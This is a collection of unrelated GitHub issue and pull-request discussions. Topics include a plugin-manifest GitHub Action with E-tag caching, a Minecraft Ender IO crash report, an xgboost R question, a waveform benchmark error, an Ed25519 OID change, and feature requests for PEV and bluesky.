I think for this one I set it will be done every hours scheduled, so it won't cause sequence issue.

if do formating gh action, one thing the sequence two gh action needs to deal.

I think for this one I set it will be done every hours scheduled, so it won't cause sequence issue.

using one .yml file to combine all gh action.And it is better not do it every day.

using one .yml file to combine all gh action.And it is better not do it every day.

Well, why it is not better to do it every day? If we don't do it every day, how to get the latest release? For me, I would like to separate different types of actions separately, but that's my personal opinion.

formatting action should to a min size file, trim any space.
The file size will get bigger and bigger, so the pm would download the plugin slower and slower.

formatting action should to a min size file, trim any space.
The file size will get bigger and bigger, so the pm would download the plugin slower and slower.

Well actually, it will only affect the manifest downloading speed, and I believe even thousands of plugins is added the file will not greater than 1MB, which is still fast for downloading. In addition, the downloading behavior happens on startup, and no wait is for that, so unless user open flow and suddenly want to install or update a plugin, they won't feel the difference.
We may still need the formatting of the json file, because we still need to add new plugins, and allow plugins stored outside github to be updated. So I think it may be hard (or possible no need) for us to trim all the space and intention.

if do formating gh action, one thing the sequence two gh action needs to deal.

I think for this one I set it will be done every hours scheduled, so it won't cause sequence issue.

using one .yml file to combine all gh action.
There should be following.

checking push
formating file
merge to master branch

And it is better not to do it every day.

Well actually from the testing of my fork, github finish those request quite quickly if they are not required to be updated.
Checking push and formatting, and merge will still be activated when pr is triggered.

I have taken a check, which the additional E-tag won't break backward compatibility.

why is the entire plugins.json file changed, can we revert that.

That's change because I have encountered rest resource limit when I test it (60 per hours) so I add one attribute "E-tag" that used to check whether new update is released, and the check won't cause the limit. That is auto generated, and I think it won't affect the template. However, not quite sure whether the model for pluginsmanager may need to change.
Github only allow 60 requests per hours without authentication, and I am not quite sure how to add that (and the code is public so token may be public or maybe we can add that through github action).

I dont think we are going to have 60 requests in an hour though, right?

why is the entire plugins.json file changed, can we revert that.

That's change because I have encountered rest resource limit when I test it (60 per hours) so I add one attribute "E-tag" that used to check whether new update is released, and the check won't cause the limit. That is auto generated, and I think it won't affect the template. However, not quite sure whether the model for pluginsmanager may need to change.
Github only allow 60 requests per hours without authentication, and I am not quite sure how to add that (and the code is public so token may be public or maybe we can add that through github action).

I dont think we are going to have 60 requests in an hour though, right?

If we don't have the E-tag, after our plugins become more than 60, we will.

it is better we make a more general github action to let the developer auto push to rep(Flow.Launcher.PluginsManifest) when there any release.

At the moment it is better to if Flow does the lifting, less set up for plugin developers, however this is not to say if we find this is not working as expected, we do not change to push from plugin projects.

At the moment it is better to if Flow does the lifting, less set up for plugin developers, however this is not to say if we find this is not working as expected, we do not change to push from plugin projects.

Well the E-tag actually didn't need to be generated by developers. It will be automatically got from the restful api from github.

dont know what is going on here with github but looks like we are missing commits, i can see from my local git there are a lot more commits than current two

Seems that this from branch in my fork. It seems that I close the wrong pull request😅.

migrate to here #28


[1.7.10] Ender IO Problem (Crash)

Issue Description:
Everything works fine. Then I build something with Ender IO and now it crashs every few minutes.
(It's a self made modpack).
Maybe it's not Ender IO but it crashs since I used Ender IO.
What happens:
I only used the Ender Conduits and now it's crashing.
What you expected to happen:
No crash
Steps to reproduce:
1.Start minecraft
2.Wait
3.It crash
...

Affected Versions (Do not use "latest"):

EnderIO: 1.7.10-<IP_ADDRESS>9_beta
EnderCore: 1.7.10-<IP_ADDRESS>_beta
Minecraft: 1.7.10
Forge: 1.7.10-<IP_ADDRESS>4

Your most recent log file where the issue was present:
Crash:
https://pastebin.com/eiF51TcR
Log:
https://pastebin.com/cm98thSx

Optifine is not supported.
There's nothing about Ender IO in the crash:

    at vazkii.botania.client.render.tile.RenderTilePool.renderIcon(RenderTilePool.java:157)
    at vazkii.botania.client.render.tile.RenderTilePool.func_147500_a(RenderTilePool.java:141)
    at mrtjp.relocation.ASMHacks$.renderTileEntityAt(hacks.scala:30)
    at mrtjp.relocation.ASMHacks.renderTileEntityAt(hacks.scala)

So I can't play with Optifine? Or is there a specific version of Optifine that works?


in"higgs-train.R" what's mean of this code "xgmat <- xgb.DMatrix(data, missing = -999.0)"

in"higgs-train.R" what's mean of this code "xgmat <- xgb.DMatrix(data, missing = -999.0)"

define a variable called xgmat storing processed data, with -999.0 interpreted as invalid value during processing.


hindi language json and audios updated

Updated hindi language json and new audios.
-increased index.html version.
creating this PR directly from nikhil_main to main branch because develop is containing a lot of changes.

Closing the PR because we will be using develop for pushing the changes to main after testing all the changes.


Waveform benchmark - ValueError could not broadcast input array from shape (25610240,) into shape (26860800,)

I'm getting the following error:
python waveform_benchmark.py "/home/briangow/chorus/data/mimic_iv/waves/p100/p10079700/85594648/85594648.hea" "waveform_benchmark.formats.wfdb.WFDBFormat516"
________________________________________________________________
Format: waveform_benchmark.formats.wfdb.WFDBFormat516
         (WFDB with FLAC compression)
Record: /home/briangow/chorus/data/mimic_iv/waves/p100/p10079700/85594648/85594648
         214981 seconds x 6 channels
         255177600 timepoints, 199126720 samples (78.0%)
________________________________________________________________
Traceback (most recent call last):
  File "/home/briangow/chorus/repos/chorus_waveform/waveform_benchmark.py", line 6, in <module>
    waveform_benchmark.__main__.main()
  File "/home/briangow/chorus/repos/chorus_waveform/waveform_benchmark/__main__.py", line 12, in main
    run_benchmarks(input_record=opts.input_record,
  File "/home/briangow/chorus/repos/chorus_waveform/waveform_benchmark/benchmark.py", line 66, in run_benchmarks
    fmt().write_waveforms(path, waveforms)
  File "/home/briangow/chorus/repos/chorus_waveform/waveform_benchmark/formats/wfdb.py", line 43, in write_waveforms
    sig_samples[start:end] = chunk['samples']
    ~~~~~~~~~~~^^^^^^^^^^^
ValueError: could not broadcast input array from shape (25610240,) into shape (26860800,)

This occurs on the Pleth waveform (but not the ECG waveforms run before it). In the following block:
        for name, waveform in waveforms.items():
            sig_name.append(name)
            units.append(waveform['units'])
            sfreq.append(waveform['samples_per_second'])

            # Convert chunks into an array with no gaps.
            sig_length = round(length * waveform['samples_per_second'])
            sig_samples = numpy.empty(sig_length, dtype=numpy.float32)
            sig_samples[:] = numpy.nan
            sig_gain = 0
            for chunk in waveform['chunks']:
                start = chunk['start_sample']
                end = chunk['end_sample']
                sig_samples[start:end] = chunk['samples']
                sig_gain = max(sig_gain, chunk['gain'])

It gives the error when running sig_samples[start:end] = chunk['samples'] on the last chunk out of 3. The chunk is:
{'start_time': 0.0, 'end_time':<PHONE_NUMBER>2740006, 'start_sample': 0, 'end_sample': 51220480, 'gain': 4096.0, 'samples': array([0.        , 0.        , 0.        , ..., 0.50561523, 0.5046387 ,        0.5029297 ], dtype=float32)}

Fixed by #22


Use current Ed25519 OID

Reference:
https://datatracker.ietf.org/doc/draft-ietf-curdle-pkix/?include_text=1

Thanks for this!

@jimktrains For historical note: your PR only changed the OID for encoding, not for decoding (but that's my fault for not spotting it before merging). It also turns out that the new draft is not just an OID change, but a significant formatting change; hence I should not have merged this PR before requiring further changes. However, I'm going to leave it merged so that it forces me to get this fixed 😅

Actually, on second thought I've reverted this commit (and the commit I made to change the OID for decoding), in favour of preserving the existing functions, to provide a migration path for library users.

I've opened #21 to track ongoing progress.


"Never executed" plan nodes

When Postgres decides not to execute a portion of a query plan, the textual query plan will say "never executed" and the "Actual Loops" count will be zero in the JSON output. Would it be possible to visually indicate these nodes in PEV?
My first instinct would be to have these nodes displayed as partially transparent, but maybe a "never executed" badge/label or a different visual treatment would work better.

@md5 As mentioned in a different issue here, I recently worked on a fork of PEV (due to its inactivity).
See https://github.com/dalibo/pev2
Never executed node are highlighted. Try "Example 1" in sample plans.


mark stop as optional for settable hardware

Currently bluesky requires objects to implement stop to pass the is_moveable check [1]. However if you look at RunEngine behavior it's clear that you expect devices that cannot be stopped to not implement a stop method [2]. This PR attempts to clean up this discrepancy by making stop optional explicitly.
[1] https://github.com/bluesky/bluesky/blob/master/bluesky/utils.py#L1608
[2] https://github.com/bluesky/bluesky/blob/master/bluesky/run_engine.py#L1219-L1230

Now that I think about it, should we be documenting success as an arg to stop? :thinking: What does success even do?

We should be documenting that as a required argument to stop. It signals whether we are stopping in the course of some planned procedure or because of some error/failure condition. It allows the device to respond differently to these two cases—perhaps more defensively to the latter, to “make itself safe”. I am not sure there exists any example where this is acted on, in practice. If I were designing it today I would consider passing an Exception object rather than a boolean, so as to give more detail about the nature of the failure.

thanks for the context @danielballan :smile: